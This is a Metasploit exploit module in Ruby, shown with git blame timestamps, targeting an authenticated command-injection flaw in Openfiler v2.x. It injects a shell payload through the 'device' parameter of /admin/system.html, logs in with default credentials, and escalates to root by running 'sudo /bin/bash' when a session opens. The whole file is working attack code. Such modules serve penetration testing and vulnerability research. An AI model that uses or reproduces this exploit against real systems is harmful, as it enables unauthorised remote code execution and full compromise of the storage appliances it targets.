metasploit-framework/modules/exploits/linux/http/openfiler_networkcard_exec.rb

127 lines
4.1 KiB
Ruby
Raw Normal View History

2012-09-09 07:58:09 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-09 07:58:09 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Openfiler v2.x NetworkCard Command Execution",
'Description' => %q{
This module exploits a vulnerability in Openfiler v2.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'openfiler' user. The 'system.html' file
uses user controlled data from the 'device' parameter to create a new
'NetworkCard' object. The class constructor in 'network.inc' calls exec()
with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
providing a system password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['BID', '55490'],
['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'],
['OSVDB', '93881'],
['EDB', '21191']
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl bash',
}
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Sep 04 2012",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(446),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
], self.class)
end
def check
# retrieve software version from login page
2014-01-22 17:20:10 +00:00
vprint_status("#{peer} - Sending check")
2013-08-30 21:28:54 +00:00
begin
res = send_request_cgi({
'uri' => '/'
})
if res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2014-01-22 17:20:10 +00:00
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
2013-08-30 21:28:54 +00:00
end
2014-01-22 17:20:10 +00:00
return Exploit::CheckCode::Safe
2013-08-30 21:28:54 +00:00
end
def on_new_session(client)
client.shell_command_token("sudo /bin/bash")
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cmd = Rex::Text.uri_encode("&#{payload.raw}&")
# send payload
print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)")
2013-08-30 21:28:54 +00:00
begin
res = send_request_cgi({
2014-05-25 17:29:39 +00:00
'uri' => '/admin/system.html',
'cookie' => "usercookie=#{user}; passcookie=#{pass};",
'vars_get' => {
'step' => '2',
'device' => "lo#{cmd}"
}
2013-08-30 21:28:54 +00:00
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unknown, 'Connection failed')
end
if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
print_good("#{peer} - Payload sent successfully")
2013-08-30 21:28:54 +00:00
elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
fail_with(Failure::NoAccess, 'Authentication failed')
else
fail_with(Failure::Unknown, 'Sending payload failed')
end
end
2012-09-09 07:58:09 +00:00
end